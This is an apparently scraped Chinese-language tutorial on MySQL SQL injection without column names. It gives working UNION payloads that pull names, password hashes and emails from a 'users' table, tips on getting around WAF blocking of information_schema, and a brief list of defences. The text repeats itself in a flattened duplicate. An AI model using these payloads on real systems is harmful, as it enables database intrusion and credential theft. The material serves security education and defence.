在不知道 MySQL 列名的情况下泄露数据的 SQL 注入技巧
字数 995 2025-08-26 22:11:15

MySQL无列名注入技术详解

引言

在MySQL数据库注入攻击中,传统方法通常需要知道表名和列名才能有效提取数据。然而,当遇到以下情况时,传统方法会失效:

  • MySQL版本低于5,无法使用information_schema
  • WAF(Web应用防火墙)将information_schema相关查询列入黑名单
  • 只能暴力破解出部分列名,不足以获取完整数据

本文将详细介绍一种无需知道列名即可从MySQL数据库中提取数据的注入技术。

技术原理

该技术的核心思想是:

  1. 通过UNION操作创建一个临时结果集,其中原始表的列被替换为数字标识
  2. 然后通过别名引用这些数字标识来提取特定列的数据

详细步骤

第一步:确定表结构

假设我们已经通过暴力破解或其他方式确定存在一个名为users的表,但不知道其具体列名。

原始表内容示例:

id | name      | password                             | email                     | birthdate  | added
---+-----------+--------------------------------------+---------------------------+------------+---------------------
1  | alias     | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org    | 1981-05-03 | 1993-03-20 14:03:14
2  | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn.amelie@example.com| 1979-10-28 | 2007-01-20 18:38:29
...

第二步:创建数字映射

执行以下查询将原始表的列替换为数字:

select 1,2,3,4,5,6 union select * from users;

结果:

1 | 2       | 3                                     | 4                        | 5         | 6
-+---------+---------------------------------------+--------------------------+-----------+-------------------
1 | alias   | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org   | 1981-05-03 | 1993-03-20 14:03:14
2 | accusamus| 114fec39a7c9567e8250409d467fed64389a7bee| sawayn.amelie@example.com| 1979-10-28 | 2007-01-20 18:38:29
...

第三步:通过数字引用列

现在可以通过数字引用特定列的数据:

select `3` from (select 1,2,3,4,5,6 union select * from users)alias;

这将返回第三列(密码列)的所有值。

第四步:构建注入Payload

将上述技术应用于实际注入场景:

  1. 提取name列(第2列):
-1 union select 1,(select `2` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)--
  1. 提取password列(第3列):
-1 union select 1,(select `3` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)--
  1. 提取email列(第4列):
-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)--

第五步:组合数据

可以组合多个列的数据:

-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)--

这将返回"密码:邮箱"格式的组合数据。

技术要点

  1. UNION要求:前后SELECT语句的列数必须相同,因此需要先确定表的列数

  2. 列数确定方法

    • 使用ORDER BY递增测试
    • UNION SELECT 1,2,3,...直到不报错
  3. 别名使用:必须为子查询结果设置别名(如aredforce)

  4. LIMIT控制:通过LIMIT 1,1可以获取第二行数据,LIMIT 2,1获取第三行,以此类推

  5. 数据类型处理:确保提取的数据类型与主查询期望的类型匹配

防御措施

  1. 使用预编译语句(Prepared Statements)
  2. 实施最小权限原则
  3. 对所有用户输入进行严格过滤和验证
  4. 使用WAF防护,但需注意可能被绕过
  5. 定期更新和修补数据库系统

总结

这种无列名注入技术提供了一种在不知道具体列名情况下提取MySQL数据的有效方法,特别适用于information_schema不可用或被过滤的场景。安全人员应了解这种技术以更好地防御潜在攻击,而开发人员则应采取适当措施防止此类注入发生。

MySQL无列名注入技术详解 引言 在MySQL数据库注入攻击中,传统方法通常需要知道表名和列名才能有效提取数据。然而,当遇到以下情况时,传统方法会失效: MySQL版本低于5,无法使用information_ schema WAF(Web应用防火墙)将information_ schema相关查询列入黑名单 只能暴力破解出部分列名,不足以获取完整数据 本文将详细介绍一种无需知道列名即可从MySQL数据库中提取数据的注入技术。 技术原理 该技术的核心思想是: 通过UNION操作创建一个临时结果集,其中原始表的列被替换为数字标识 然后通过别名引用这些数字标识来提取特定列的数据 详细步骤 第一步:确定表结构 假设我们已经通过暴力破解或其他方式确定存在一个名为 users 的表,但不知道其具体列名。 原始表内容示例: 第二步:创建数字映射 执行以下查询将原始表的列替换为数字: 结果: 第三步:通过数字引用列 现在可以通过数字引用特定列的数据: 这将返回第三列(密码列)的所有值。 第四步:构建注入Payload 将上述技术应用于实际注入场景: 提取name列(第2列): 提取password列(第3列): 提取email列(第4列): 第五步:组合数据 可以组合多个列的数据: 这将返回"密码:邮箱"格式的组合数据。 技术要点 UNION要求 :前后SELECT语句的列数必须相同,因此需要先确定表的列数 列数确定方法 : 使用 ORDER BY 递增测试 UNION SELECT 1,2,3,... 直到不报错 别名使用 :必须为子查询结果设置别名(如 a 或 redforce ) LIMIT控制 :通过 LIMIT 1,1 可以获取第二行数据, LIMIT 2,1 获取第三行,以此类推 数据类型处理 :确保提取的数据类型与主查询期望的类型匹配 防御措施 使用预编译语句(Prepared Statements) 实施最小权限原则 对所有用户输入进行严格过滤和验证 使用WAF防护,但需注意可能被绕过 定期更新和修补数据库系统 总结 这种无列名注入技术提供了一种在不知道具体列名情况下提取MySQL数据的有效方法,特别适用于information_ schema不可用或被过滤的场景。安全人员应了解这种技术以更好地防御潜在攻击,而开发人员则应采取适当措施防止此类注入发生。